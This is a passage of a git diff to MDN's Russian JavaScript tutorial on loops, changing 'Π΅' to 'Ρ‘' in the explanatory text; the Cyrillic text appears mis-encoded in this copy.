+ <li>Если имя класса Π½Π΅ Β«Ρ‚Ρ‘ΠΌΠ½ΠΎΠ΅Β», измСняСт класс <code>&lt;button&gt;</code> Π½Π° <code>"dark"</code>, Π΅Π³ΠΎ тСкстовоС содСрТимоС ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° "Π’Π΅ΠΌΠ½Π΅Π΅" ΠΈ {{cssxref("background-color")}} налоТСния <code>&lt;div&gt;</code> Π½Π° <code>"rgba(0,0,0,0)"</code>.</li>
</ol>
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки слуТат основой для достиТСния ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π² ΠΏΡƒΠ½ΠΊΡ‚Π°Ρ… 2 ΠΈ 3 Π²Ρ‹ΡˆΠ΅.</p>
diff --git a/files/ru/learn/javascript/building_blocks/looping_code/index.html b/files/ru/learn/javascript/building_blocks/looping_code/index.html
index 95c0cddfe9..08e8ccc1c1 100644
--- a/files/ru/learn/javascript/building_blocks/looping_code/index.html
+++ b/files/ru/learn/javascript/building_blocks/looping_code/index.html
@@ -34,9 +34,9 @@ translation_of: Learn/JavaScript/Building_blocks/Looping_code
<p>Π¦ΠΈΠΊΠ» ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ составляСт ΠΎΠ΄Π½Ρƒ ΠΈΠ»ΠΈ нСсколько из ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ:</p>
<ul>
- <li>Β <strong>Π‘Ρ‡Π΅Ρ‚Ρ‡ΠΈΠΊ</strong>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ инициализируСтся с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ значСния β€”Β Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉΒ Ρ‚ΠΎΡ‡ΠΊΠΈΒ Ρ†ΠΈΠΊΠ»Π° (На рисункС Π²Ρ‹ΡˆΠ΅ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ этап: "Ρƒ мСня Π½Π΅Ρ‚ Π΅Π΄Ρ‹ (i have no food)")</li>
- <li><strong>УсловиС Π²Ρ‹Ρ…ΠΎΠ΄Π° </strong>β€”Β ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΉ, ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ†ΠΈΠΊΠ» останавливаСтся, β€” ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ наступаСт, ΠΊΠΎΠ³Π΄Π° Ρ†ΠΈΠΊΠ» достигаСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ значСния. Π­Ρ‚ΠΎ ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ Π²Ρ‹ΡˆΠ΅Β ΡΠ»ΠΎΠ²Π°ΠΌΠΈ "Достаточно Π»ΠΈ Ρƒ мСня Π΅Π΄Ρ‹? (Do I have enough food?)". ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ„Π΅Ρ€ΠΌΠ΅Ρ€ΡƒΒ Π½ΡƒΠΆΠ½ΠΎ 10 ΠΏΠΎΡ€Ρ†ΠΈΠΉ Π΅Π΄Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠΊΠΎΡ€ΠΌΠΈΡ‚ΡŒ сСмью.</li>
- <li><strong>Π˜Ρ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ </strong>постСпСнно увСличиваСт счСтчик Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ шагС Ρ†ΠΈΠΊΠ»Π°, ΠΏΠΎΠΊΠ° Π½Π΅ достигнуто условия Π²Ρ‹Ρ…ΠΎΠ΄Π°. ΠœΡ‹ явно Π½Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π»ΠΈ это Π² ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ, Π½ΠΎ Ссли ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ Ρ„Π΅Ρ€ΠΌΠ΅Ρ€ собираСт Π΄Π²Π΅ ΠΏΠΎΡ€Ρ†ΠΈΠΈ Π΅Π΄Ρ‹ Π² час, Ρ‚ΠΎ послС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ часа, количСство Π΅Π΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρƒ Π½Π΅Π³ΠΎ имССтся, увСличиваСтся Π½Π° Π΄Π²Π΅ ΠΏΠΎΡ€Ρ†ΠΈΠΈ, ΠΈ ΠΎΠ½ провСряСт достаточно Π»ΠΈ Ρƒ Π½Π΅Π³ΠΎ Π΅Π΄Ρ‹ сСйчас. Если Ρƒ Π½Π΅Π³ΠΎ ΡΠΎΠ±Ρ€Π°Π»ΠΎΡΡŒ 10 ΠΏΠΎΡ€Ρ†ΠΈΠΉ (условиС Π²Ρ‹Ρ…ΠΎΠ΄Π°), ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ сбор ΠΈ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ Π΄ΠΎΠΌΠΎΠΉ.</li>
+ <li>Β <strong>Π‘Ρ‡Ρ‘Ρ‚Ρ‡ΠΈΠΊ</strong>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ инициализируСтся с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ значСния β€”Β Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉΒ Ρ‚ΠΎΡ‡ΠΊΠΈΒ Ρ†ΠΈΠΊΠ»Π° (На рисункС Π²Ρ‹ΡˆΠ΅ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ этап: "Ρƒ мСня Π½Π΅Ρ‚ Π΅Π΄Ρ‹ (i have no food)")</li>
+ <li><strong>УсловиС Π²Ρ‹Ρ…ΠΎΠ΄Π° </strong>β€”Β ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΉ, ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ†ΠΈΠΊΠ» останавливаСтся, β€” ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ наступаСт, ΠΊΠΎΠ³Π΄Π° Ρ†ΠΈΠΊΠ» достигаСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ значСния. Π­Ρ‚ΠΎ ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ Π²Ρ‹ΡˆΠ΅Β ΡΠ»ΠΎΠ²Π°ΠΌΠΈ "Достаточно Π»ΠΈ Ρƒ мСня Π΅Π΄Ρ‹? (Do I have enough food?)". ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ„Π΅Ρ€ΠΌΠ΅Ρ€ΡƒΒ Π½ΡƒΠΆΠ½ΠΎ 10 ΠΏΠΎΡ€Ρ†ΠΈΠΉ Π΅Π΄Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠΊΠΎΡ€ΠΌΠΈΡ‚ΡŒ сСмью.</li>
+ <li><strong>Π˜Ρ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ </strong>постСпСнно увСличиваСт счётчик Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ шагС Ρ†ΠΈΠΊΠ»Π°, ΠΏΠΎΠΊΠ° Π½Π΅ достигнуто условия Π²Ρ‹Ρ…ΠΎΠ΄Π°. ΠœΡ‹ явно Π½Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π»ΠΈ это Π² ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ, Π½ΠΎ Ссли ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ Ρ„Π΅Ρ€ΠΌΠ΅Ρ€ собираСт Π΄Π²Π΅ ΠΏΠΎΡ€Ρ†ΠΈΠΈ Π΅Π΄Ρ‹ Π² час, Ρ‚ΠΎ послС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ часа, количСство Π΅Π΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρƒ Π½Π΅Π³ΠΎ имССтся, увСличиваСтся Π½Π° Π΄Π²Π΅ ΠΏΠΎΡ€Ρ†ΠΈΠΈ, ΠΈ ΠΎΠ½ провСряСт достаточно Π»ΠΈ Ρƒ Π½Π΅Π³ΠΎ Π΅Π΄Ρ‹ сСйчас. Если Ρƒ Π½Π΅Π³ΠΎ ΡΠΎΠ±Ρ€Π°Π»ΠΎΡΡŒ 10 ΠΏΠΎΡ€Ρ†ΠΈΠΉ (условиС Π²Ρ‹Ρ…ΠΎΠ΄Π°), ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ сбор ΠΈ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ Π΄ΠΎΠΌΠΎΠΉ.</li>
</ul>
<p>Π’ <a href="/ru/docs/Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Pseudocode">псСвдокодС</a> это Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
@@ -46,12 +46,12 @@ translation_of: Learn/JavaScript/Building_blocks/Looping_code
exit loop;
// Π£ нас достаточно Π΅Π΄Ρ‹, ΠΏΠΎΡ€Π° Π΄ΠΎΠΌΠΎΠΉ
} else {
- food += 2; // ΠŸΡ€ΠΎΡˆΠ΅Π» час, количСство Π΅Π΄Ρ‹ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ»ΠΎΡΡŒ Π½Π° 2
+ food += 2; // ΠŸΡ€ΠΎΡˆΡ‘Π» час, количСство Π΅Π΄Ρ‹ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ»ΠΎΡΡŒ Π½Π° 2
// ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ Ρ†ΠΈΠΊΠ»Π°.
}
}</pre>
-<p>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅ количСство Π΅Π΄Ρ‹ устанавливаСтся Ρ€Π°Π²Π½Ρ‹ΠΌ 10, Π° ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Ρ„Π΅Ρ€ΠΌΠ΅Ρ€ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π½ΠΈ ΠΎΠ΄Π½ΠΎΠΉ ΠΏΠΎΡ€Ρ†ΠΈΠΈ, Ρ‚.Π΅. Π½Π°Ρ‡Π°Π»ΠΎ Ρ€Π°Π²Π½ΠΎ 0. На ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π° провСряСм, соотвСтствуСт Π»ΠΈ собранноС количСство Π΅Π΄Ρ‹, с Ρ‚Π΅ΠΌ количСством, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΅ΠΌΡƒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ. Если это Ρ‚Π°ΠΊ, ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹ΠΉΡ‚ΠΈ ΠΈΠ· Ρ†ΠΈΠΊΠ»Π°, Ссли Π½Π΅Ρ‚, Ρ„Π΅Ρ€ΠΌΠ΅Ρ€ собираСт Π΅Ρ‰Π΅ 2 ΠΏΠΎΡ€Ρ†ΠΈΠΈ ΠΈ снова ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΊ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ΅.</p>
+<p>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅ количСство Π΅Π΄Ρ‹ устанавливаСтся Ρ€Π°Π²Π½Ρ‹ΠΌ 10, Π° ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Ρ„Π΅Ρ€ΠΌΠ΅Ρ€ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π½ΠΈ ΠΎΠ΄Π½ΠΎΠΉ ΠΏΠΎΡ€Ρ†ΠΈΠΈ, Ρ‚.Π΅. Π½Π°Ρ‡Π°Π»ΠΎ Ρ€Π°Π²Π½ΠΎ 0. На ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π° провСряСм, соотвСтствуСт Π»ΠΈ собранноС количСство Π΅Π΄Ρ‹, с Ρ‚Π΅ΠΌ количСством, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΅ΠΌΡƒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ. Если это Ρ‚Π°ΠΊ, ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹ΠΉΡ‚ΠΈ ΠΈΠ· Ρ†ΠΈΠΊΠ»Π°, Ссли Π½Π΅Ρ‚, Ρ„Π΅Ρ€ΠΌΠ΅Ρ€ собираСт Π΅Ρ‰Ρ‘ 2 ΠΏΠΎΡ€Ρ†ΠΈΠΈ ΠΈ снова ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΊ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ΅.</p>
<h3 id="Π—Π°Ρ‡Π΅ΠΌ_это_Π½ΡƒΠΆΠ½ΠΎ">Π—Π°Ρ‡Π΅ΠΌ это Π½ΡƒΠΆΠ½ΠΎ?</h3>
@@ -156,7 +156,7 @@ ctx.fillStyle = 'rgba(255,0,0,0.5)';
ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
ctx.fill();</pre>
-<p>Π­Ρ‚ΠΎ мноТСство лишнСго ΠΊΠΎΠ΄Π° ΠΎΡ‡Π΅Π½ΡŒ услоТнило Π±Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΊΠΎΠ΄Π° Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ, Ρ‚.ΠΊ. Ссли Π±Ρ‹ Π²Π°ΠΌ Π·Π°Ρ…ΠΎΡ‚Π΅Π»ΠΎΡΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ, Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π°, ΠΏΡ€ΠΈΡˆΠ»ΠΎΡΡŒ Π±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ всС части ΠΊΠΎΠ΄Π° ΠΏΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. А Π΅Ρ‰Ρ‘ это услоТняСт поиск ошибок, Ρ‚.ΠΊ. Ссли Π²Π΄Ρ€ΡƒΠ³ Π²Ρ‹ ΡΠΎΠ²Π΅Ρ€ΡˆΠΈΡ‚Π΅ Π»ΠΎΠ³ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΎΡˆΠΈΠ±ΠΊΡƒ ΠΏΡ€ΠΈ описании ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ· ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΉ, придСтся ΠΏΠΎΡ‚Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π½Π° Π΅Π΅ поиски.</p>
+<p>Π­Ρ‚ΠΎ мноТСство лишнСго ΠΊΠΎΠ΄Π° ΠΎΡ‡Π΅Π½ΡŒ услоТнило Π±Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΊΠΎΠ΄Π° Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ, Ρ‚.ΠΊ. Ссли Π±Ρ‹ Π²Π°ΠΌ Π·Π°Ρ…ΠΎΡ‚Π΅Π»ΠΎΡΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ, Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π°, ΠΏΡ€ΠΈΡˆΠ»ΠΎΡΡŒ Π±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ всС части ΠΊΠΎΠ΄Π° ΠΏΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. А Π΅Ρ‰Ρ‘ это услоТняСт поиск ошибок, Ρ‚.ΠΊ. Ссли Π²Π΄Ρ€ΡƒΠ³ Π²Ρ‹ ΡΠΎΠ²Π΅Ρ€ΡˆΠΈΡ‚Π΅ Π»ΠΎΠ³ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΎΡˆΠΈΠ±ΠΊΡƒ ΠΏΡ€ΠΈ описании ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ· ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΉ, придётся ΠΏΠΎΡ‚Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π½Π° Π΅Ρ‘ поиски.</p>
<h2 id="ΠŸΡ€Π°Π²ΠΈΠ»Π°_записи_Ρ†ΠΈΠΊΠ»Π°">ΠŸΡ€Π°Π²ΠΈΠ»Π° записи Ρ†ΠΈΠΊΠ»Π°</h2>
@@ -170,11 +170,11 @@ ctx.fill();</pre>
<ol>
<li>ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <a href="ru/docs/Web/JavaScript/Reference/Statements/for">for</a>, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки.</li>
- <li>Π’ ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобках Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ‚Ρ€ΠΈ части, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ с запятой:
+ <li>Π’ ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобках Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ‚Ρ€ΠΈ части, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ с запятой:
<ol>
- <li><strong>Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€</strong>Β β€” ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ это пСрСмСнная числСнного Ρ‚ΠΈΠΏΠ°, которая увСличиваСтся ΠΊΠ°ΠΆΠ΄ΡƒΡŽ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ количСство шагов Ρ†ΠΈΠΊΠ»Π°.Β Π•Π΅ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°Π·Ρ‹Π²Π°Π΅Ρ‚ <strong>счСтчиком</strong>.</li>
+ <li><strong>Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€</strong>Β β€” ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ это пСрСмСнная числСнного Ρ‚ΠΈΠΏΠ°, которая увСличиваСтся ΠΊΠ°ΠΆΠ΄ΡƒΡŽ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ количСство шагов Ρ†ΠΈΠΊΠ»Π°.Β Π•Ρ‘ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°Π·Ρ‹Π²Π°Π΅Ρ‚ <strong>счётчиком</strong>.</li>
<li><strong>УсловиС Π²Ρ‹Ρ…ΠΎΠ΄Π°</strong> β€” ΠΊΠ°ΠΊ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ Ρ€Π°Π½Π΅Π΅, опрСдСляСт, ΠΊΠΎΠ³Π΄Π° Ρ†ΠΈΠΊΠ» Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ это Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ с ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ сравнСния ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‰ΠΈΠΌ, Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ Π»ΠΈ условиС Π²Ρ‹Ρ…ΠΎΠ΄Π°.</li>
- <li><strong>ΠžΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅</strong> β€” вычисляСтся (ΠΈΠ»ΠΈ выполняСтся) ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Ρ†ΠΈΠΊΠ» ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎΠ»Π½ΡƒΡŽ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ оно слуТит для увСличСния (ΠΈΠ»ΠΈ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ) ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <strong>счСтчика</strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠ±Π»ΠΈΠ·ΠΈΡ‚ΡŒ Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊ ΡƒΡΠ»ΠΎΠ²ΠΈΡŽ Π²Ρ‹Ρ…ΠΎΠ΄Π°.</li>
+ <li><strong>ΠžΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅</strong> β€” вычисляСтся (ΠΈΠ»ΠΈ выполняСтся) ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Ρ†ΠΈΠΊΠ» ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎΠ»Π½ΡƒΡŽ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ оно слуТит для увСличСния (ΠΈΠ»ΠΈ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ) ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <strong>счётчика</strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠ±Π»ΠΈΠ·ΠΈΡ‚ΡŒ Π΅Ρ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊ ΡƒΡΠ»ΠΎΠ²ΠΈΡŽ Π²Ρ‹Ρ…ΠΎΠ΄Π°.</li>
</ol>
</li>
<li>Π€ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки, содСрТащиС Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π°. Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π°.</li>
@@ -234,7 +234,7 @@ para.textContent = info;</pre>
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ этот  <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/basic-for.html">ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π°Β GitHub</a>Β ΠΈΠ»ΠΈ Β <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/basic-for.html">ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒΒ ΠΎΠ½Π»Π°ΠΉΠ½</a>.</p>
</div>
-<p>Π—Π΄Π΅ΡΡŒ ΠΏΠΎΠΊΠ°Π·Π°Π½ Ρ†ΠΈΠΊΠ», ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π° элСмСнтов Π² массивС ΠΈ выполнСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… дСйствий с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΈΠ· Π½ΠΈΡ… β€” ΠΎΡ‡Π΅Π½ΡŒ распространСнный шаблон Π² JavaScript<br>
+<p>Π—Π΄Π΅ΡΡŒ ΠΏΠΎΠΊΠ°Π·Π°Π½ Ρ†ΠΈΠΊΠ», ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π° элСмСнтов Π² массивС ΠΈ выполнСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… дСйствий с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΈΠ· Π½ΠΈΡ… β€” ΠΎΡ‡Π΅Π½ΡŒ распространённый шаблон Π² JavaScript<br>
ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅:</p>
<ol>
@@ -247,18 +247,18 @@ para.textContent = info;</pre>
<li>И Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. Π’ ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π° <code>i</code> увСличится Π½Π° 1 (<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">i++</span></font>) , ΠΈ процСсс Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ Π·Π°Π½ΠΎΠ²ΠΎ.</li>
</ol>
</li>
